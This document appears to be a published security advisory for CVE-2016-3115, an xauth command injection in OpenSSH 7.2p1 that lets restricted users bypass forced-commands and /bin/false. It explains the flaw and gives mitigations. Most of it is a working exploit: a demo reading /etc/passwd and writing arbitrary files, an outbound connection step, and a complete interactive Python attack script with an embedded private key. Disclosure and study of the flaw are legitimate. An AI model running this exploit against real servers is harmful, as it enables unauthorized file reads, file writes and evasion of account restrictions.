OpenSSH 7.2p1 xauth Command Injection / Bypass

`Author: <github.com/tintinweb>  
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115  
Version: 0.2  
Date: Mar 3rd, 2016  
  
Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass  
  
Overview  
--------  
  
Name: openssh  
Vendor: OpenBSD  
References: * http://www.openssh.com/[1]  
  
Version: 7.2p1 [2]  
Latest Version: 7.2p1  
Other Versions: <= 7.2p1 (all versions; dating back ~20 years)  
Platform(s): linux  
Technology: c  
  
Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')  
Origin: remote  
Min. Privs.: post auth  
  
CVE: CVE-2016-3115  
  
  
  
Description  
---------  
  
quote website [1]  
  
>OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.  
  
Summary  
-------  
  
An authenticated user may inject arbitrary xauth commands by sending an  
x11 channel request that includes a newline character in the x11 cookie.  
The newline acts as a command separator to the xauth binary. This attack requires  
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.  
  
By injecting xauth commands one gains limited* read/write arbitrary files,  
information leakage or xauth-connect capabilities. These capabilities can be  
leveraged by an authenticated restricted user - e.g. one with the login shell  
configured as /bin/false or one with configured forced-commands - to bypass  
account restriction. This is generally not expected.  
  
The injected xauth commands are performed with the effective permissions of the  
logged in user as the sshd already dropped its privileges.  
  
Quick-Info:  
  
* requires: X11Forwarding yes  
* bypasses /bin/false and forced-commands  
** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear)  
* does not bypass /bin/nologin (as there is special treatment for this)  
  
Capabilities (xauth):  
  
* Xauth  
* write file: limited chars, xauthdb format  
* read file: limit lines cut at first \s  
* infoleak: environment  
* connect to other devices (may allow port probing)  
  
  
PoC see ref github.  
Patch see ref github.  
  
  
Details  
-------  
  
// see annotated code below  
  
* server_input_channel_req (serverloop.c)  
*- session_input_channel_req:2299 (session.c [2])  
*- session_x11_req:2181  
  
* do_exec_pty or do_exec_no_pty  
*- do_child  
*- do_rc_files (session.c:1335 [2])  
  
Upon receiving an `x11-req` type channel request sshd parses the channel request  
parameters `auth_proto` and `auth_data` from the client ssh packet where  
`auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)  
and `auth_data` contains the actual x11 auth cookie. This information is stored  
in a session specific datastore. When calling `execute` on that session, sshd will  
call `do_rc_files` which tries to figure out if this is an x11 call by evaluating  
if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND  
there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc`  
is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`.  
Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains  
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a  
command-separator to the `xauth` binary, this allows a client to inject arbitrary  
`xauth` commands.  
  
Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted  
input as arguments to that script.  
Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3]  
  
This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth  
command injection:  
  
SYNOPSIS  
xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]  
  
add displayname protocolname hexkey  
generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]  
[n]extract filename displayname...  
[n]list [displayname...]  
[n]merge [filename...]  
remove displayname...  
source filename  
info  
exit  
quit  
version  
help  
?  
  
Interesting commands are:  
  
info - leaks environment information / path  
~# xauth info  
xauth: file /root/.Xauthority does not exist  
Authority file: /root/.Xauthority  
File new: yes  
File locked: no  
Number of entries: 0  
Changes honored: yes  
Changes made: no  
Current input: (argv):1  
  
source - arbitrary file read (cut on first `\s`)  
# xauth source /etc/shadow  
xauth: file /root/.Xauthority does not exist  
xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"  
  
extract - arbitrary file write  
* limited characters  
* in xauth.db format  
* since it is not compressed it can be combined with `xauth add` to  
first store data in the database and then export it to an arbitrary  
location e.g. to plant a shell or do other things.  
  
generate - connect to <ip>:<port> (port probing, connect back and pot. exploit  
vulnerabilities in X.org  
  
  
Source  
------  
  
Inline annotations are prefixed with `//#!`  
  
  
/*  
* Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found  
* first in this order).  
*/  
static void  
do_rc_files(Session *s, const char *shell)  
{  
...  
snprintf(cmd, sizeof cmd, "%s -q -",   
options.xauth_location);  
f = popen(cmd, "w"); //#! run xauth -q -  
if (f) {  
fprintf(f, "remove %s\n", //#! remove <user_tainted_data> - injecting \n auth_display injects xauth command  
s->auth_display);  
fprintf(f, "add %s %s %s\n", //#! \n injection  
s->auth_display, s->auth_proto,  
s->auth_data);  
pclose(f);  
} else {  
fprintf(stderr, "Could not run %s\n",  
cmd);  
}  
}  
}  
  
Proof of Concept  
----------------  
  
Prerequisites:  
  
* install python 2.7.x  
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x  
* make sure `poc.py`  
  
  
Usage: <host> <port> <username> <password or path_to_privkey>  
  
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key  
  
  
poc:  
  
1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:  
  
#PUBKEY line - force commands: only allow "whoami"  
#cat /home/user1/.ssh/authorized_keys  
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box  
  
#cat /etc/passwd  
user2:x:1001:1002:,,,:/home/user2:/bin/false  
  
2. run sshd with `X11Forwarding yes` (kali default config)  
  
#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d  
  
3. `forced-commands` - connect with user1 and display env information  
  
#> python <host> 22 user1 .demoprivkey  
  
INFO:__main__:add this line to your authorized_keys file:  
#PUBKEY line - force commands: only allow "whoami"  
#cat /home/user/.ssh/authorized_keys  
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box  
  
INFO:__main__:connecting to: user1:<PKEY>@host:22  
INFO:__main__:connected!  
INFO:__main__:  
Available commands:  
.info  
.readfile <path>  
.writefile <path> <data>  
.exit .quit  
<any xauth command or type help>  
  
#> .info  
DEBUG:__main__:auth_cookie: '\ninfo'  
DEBUG:__main__:dummy exec returned: None  
INFO:__main__:Authority file: /home/user1/.Xauthority  
File new: no  
File locked: no  
Number of entries: 1  
Changes honored: yes  
Changes made: no  
Current input: (stdin):3  
/usr/bin/xauth: (stdin):2: bad "add" command line  
...  
  
4. `forced-commands` - read `/etc/passwd`  
  
...  
#> .readfile /etc/passwd  
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'  
DEBUG:__main__:dummy exec returned: None  
INFO:__main__:root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
...  
  
5. `forced-commands` - write `/tmp/testfile`  
  
#> .writefile /tmp/testfile `thisisatestfile`  
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'  
DEBUG:__main__:dummy exec returned: None  
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'  
DEBUG:__main__:dummy exec returned: None  
DEBUG:__main__:/usr/bin/xauth: (stdin):2: bad "add" command line  
  
#> ls -lsat /tmp/testfile  
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile  
  
#> cat /tmp/testfile  
\FA65500hi\FA65500`thisisatestfile`\AA  
  
6. `/bin/false` - connect and read `/etc/passwd`  
  
#> python <host> 22 user2 user2password  
INFO:__main__:connecting to: user2:user2password@host:22  
INFO:__main__:connected!  
INFO:__main__:  
Available commands:  
.info  
.readfile <path>  
.writefile <path> <data>  
.exit .quit  
<any xauth command or type help>  
  
#> .readfile /etc/passwd  
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'  
DEBUG:__main__:dummy exec returned: None  
INFO:__main__:root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
...  
user2:x:1001:1002:,,,:/home/user2:/bin/false  
...  
  
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100  
  
#> generate 8.8.8.8:100 .   
  
#> tcpdump  
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0  
  
  
Mitigation / Workaround  
------------------------  
  
* disable x11-forwarding: `sshd_config` set `X11Forwarding no`  
* disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys`  
  
Notes  
-----  
  
Verified, resolved and released within a few days. very impressive.  
  
Vendor response: see advisory [5]  
  
References  
----------  
  
[1] http://www.openssh.com/  
[2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388  
[3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376  
[4] http://linux.die.net/man/1/xauth  
[5] http://www.openssh.com/txt/x11fwd.adv  
  
======== poc.py ========  
  
#!/usr/bin/env python  
# -*- coding: UTF-8 -*-  
# Author : <github.com/tintinweb>  
###############################################################################  
#  
# FOR DEMONSTRATION PURPOSES ONLY!  
#  
###############################################################################  
import logging  
import StringIO  
import sys  
import os  
  
LOGGER = logging.getLogger(__name__)  
try:  
import paramiko  
except ImportError, ie:  
logging.exception(ie)  
logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")  
sys.exit(1)  
  
class SSHX11fwdExploit(object):  
def __init__(self, hostname, username, password, port=22, timeout=0.5,   
pkey=None, pkey_pass=None):  
self.ssh = paramiko.SSHClient()  
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
if pkey:  
pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)  
self.ssh.connect(hostname=hostname, port=port,   
username=username, password=password,   
timeout=timeout, banner_timeout=timeout,  
look_for_keys=False, pkey=pkey)  
  
def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):  
transport = self.ssh.get_transport()  
session = transport.open_session()  
LOGGER.debug("auth_cookie: %s"%repr(cmd))  
session.request_x11(auth_cookie=cmd)  
LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))  
  
transport.accept(0.5)  
session.recv_exit_status() # block until exit code is ready  
stdout, stderr = [],[]  
while session.recv_ready():  
stdout.append(session.recv(4096))  
while session.recv_stderr_ready():  
stderr.append(session.recv_stderr(4096))  
session.close()  
return ''.join(stdout)+''.join(stderr) # catch stdout, stderr  
  
def exploit_fwd_readfile(self, path):  
data = self.exploit("xxxx\nsource %s\n"%path)  
if "unable to open file" in data:  
raise IOError(data)  
ret = []  
for line in data.split('\n'):  
st = line.split('unknown command "',1)  
if len(st)==2:  
ret.append(st[1].strip(' "'))  
return '\n'.join(ret)  
  
def exploit_fwd_write_(self, path, data):  
'''  
adds display with protocolname containing userdata. badchars=<space>  
  
'''  
dummy_dispname = "127.0.0.250:65500"  
ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))  
if ret.count('bad "add" command line')>1:  
raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))  
LOGGER.debug(self.exploit('\nextract %s %s'%(path,dummy_dispname)))  
return path  
  
demo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami"  
#cat /home/user/.ssh/authorized_keys  
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box  
'''   
PRIVKEY = """-----BEGIN RSA PRIVATE KEY-----  
MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD69  
9SPu06CZ3e0vSUx5KxlQ7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqn  
PLEUn9zPaCjwwpg/Brhr5+NHc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaN  
zKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRts  
U68nW5a99jMSb4bpgqsUsIY0IIsKc1nfzUxonvcXmh+RASIffLCzA0OdQyJ7UrPh  
TLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTIc8h5RRH  
SBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQOtsZqk2P8OUNNU6W  
s1F5cxQLLXvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXDc4O  
aDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaj84rHBcD4w033Sdzc7i73UUne  
euQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6T  
A7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBBmgM5sKRNl8pyrBq/957JaA  
rhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUExTs57SaouSjhe  
DDpBRSTX96+EpRnUSbJFnXZn1S9cZfT8i80kSoM1xvHgjwMNqhBTo+sYWVQrfBmj  
bDVVbTozREaMQezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEA1yrc  
KPIAIVPZfALngqT6fpX6P7zHWdOO/Uw+PoDCJtI2qljpXHXrcI4ZlOjBp1fcpBC9  
2Q0TNUfra8m3LGbWfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgY  
nimhjY+3+SXFWIHAtkJKAwZbPO7p857nMcbBH5ECgYBnCdx9MlB6l9rmKkAoEKrw  
Gt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MW1M0xq8IMpV83sM  
F0+1QYZZq4kLCfxnOTGcaF7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lfTyk+f  
W3p2+20qi1Yh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEOOlB1r2Gl8yTcr  
bjXvcCYzrN4r/kN1u6d2qXMF0zrPk4tkumkoxMK0ThvTrJYK3YWKEinsucxSpJV/  
nY0PVeYEWmoJrBcfKTf9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbL  
b4qkQQKBgF2XUv9umKYiwwhBPneEhTplQgDcVpWdxkO4sZdzww+y4SHifxVRzNmX  
Ao8bTPte9nDf+PhgPiWIktaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aV  
pryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv  
-----END RSA PRIVATE KEY-----"""  
  
  
if __name__=="__main__":  
logging.basicConfig(loglevel=logging.DEBUG)  
LOGGER.setLevel(logging.DEBUG)  
  
if not len(sys.argv)>4:  
print """ Usage: <host> <port> <username> <password or path_to_privkey>  
  
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key  
  
"""  
sys.exit(1)  
hostname, port, username, password = sys.argv[1:]  
port = int(port)  
pkey = None  
if os.path.isfile(password):  
password = None  
with open(password,'r') as f:  
pkey = f.read()  
elif password==".demoprivkey":  
pkey = PRIVKEY  
password = None  
LOGGER.info("add this line to your authorized_keys file: \n%s"%demo_authorized_keys)  
  
LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))  
ex = SSHX11fwdExploit(hostname, port=port,  
username=username, password=password,  
pkey=pkey,  
timeout=10  
)  
LOGGER.info("connected!")  
LOGGER.info ("""  
Available commands:  
.info  
.readfile <path>  
.writefile <path> <data>  
.exit .quit  
<any xauth command or type help>  
""")  
while True:  
cmd = raw_input("#> ").strip()  
if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):  
break  
elif cmd.lower().startswith(".info"):  
LOGGER.info(ex.exploit("\ninfo"))  
elif cmd.lower().startswith(".readfile"):   
LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))  
elif cmd.lower().startswith(".writefile"):  
parts = cmd.split(" ")  
LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:])))  
else:  
LOGGER.info(ex.exploit('\n%s'%cmd))  
  
# just playing around   
#print ex.exploit_fwd_readfile("/etc/passwd")  
#print ex.exploit("\ninfo")  
#print ex.exploit("\ngenerate <ip>:600<port> .") # generate <ip>:port port=port+6000  
#print ex.exploit("\nlist")  
#print ex.exploit("\nnlist")  
#print ex.exploit('\nadd xx xx "\n')  
#print ex.exploit('\ngenerate :0 . data "')  
#print ex.exploit('\n?\n')  
#print ex.exploit_fwd_readfile("/etc/passwd")  
#print ex.exploit_fwd_write_("/tmp/somefile", data="`whoami`")  
LOGGER.info("--quit--")  
`